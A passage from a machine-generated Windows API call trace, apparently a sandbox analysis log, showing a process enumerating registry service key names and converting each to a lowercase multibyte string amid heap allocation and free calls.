(HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.496] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.496] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.496] RegEnumKeyW (in: hKey=0x148, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0218.496] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0218.496] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1d60, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0218.496] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.496] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.496] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.496] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.496] RegEnumKeyW (in: hKey=0x148, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0218.497] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0218.497] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1cd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0218.497] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.497] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.497] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.497] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.497] RegEnumKeyW (in: hKey=0x148, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0218.497] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0218.497] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1d60, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0218.497] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.497] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.497] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.497] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.497] RegEnumKeyW (in: hKey=0x148, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0218.497] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0218.497] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0218.497] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.497] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.497] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.497] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.497] RegEnumKeyW (in: hKey=0x148, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0218.497] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0218.497] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1d60, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0218.497] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.498] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.498] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.498] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.498] RegEnumKeyW (in: hKey=0x148, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0218.498] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0218.498] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0218.498] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.498] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.498] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.498] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.498] RegEnumKeyW (in: hKey=0x148, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0218.498] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0218.498] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0218.498] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.498] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.498] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.498] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.498] RegEnumKeyW (in: hKey=0x148, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0218.498] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0218.498] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0218.498] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.498] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.498] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.498] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.498] RegEnumKeyW (in: hKey=0x148, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0218.498] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0218.499] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0218.499] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.499] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.499] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.499] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.499] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0218.499] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0218.499] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1cd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0218.499] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.499] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.499] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.499] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.499] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0218.499] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0218.499] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0218.499] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.499] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.499] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.499] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.499] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0218.499] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0218.499] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0218.499] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.499] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.499] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.500] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.500] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0218.500] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0218.500] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0218.500] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.500] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.500] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.500] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.500] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0218.500] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0218.500] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1cd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0218.500] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.500] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.500] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.500] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.500] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0218.500] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0218.500] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1d60, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0218.500] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.500] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.500] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.500] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.500] RegEnumKeyW (in: hKey=0x148, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0218.500] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0218.500] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.501] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0218.501] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.501] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.501] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.501] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.501] RegEnumKeyW (in: hKey=0x148, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0218.501] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.501] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0218.501] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.501] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1d60, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0218.501] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.501] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.501] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.501] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.501] RegEnumKeyW (in: hKey=0x148, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0218.501] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.501] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0218.501] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.501] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1cd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0218.501] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.501] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.501] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.501] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.501] RegEnumKeyW (in: hKey=0x148, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0218.501] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.501] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0218.501] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.501] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0218.501] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.501] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.501] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.501] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.502] RegEnumKeyW (in: hKey=0x148, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0218.502] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0218.502] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1cd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0218.502] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.502] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.502] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.502] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.502] RegEnumKeyW (in: hKey=0x148, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0218.502] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 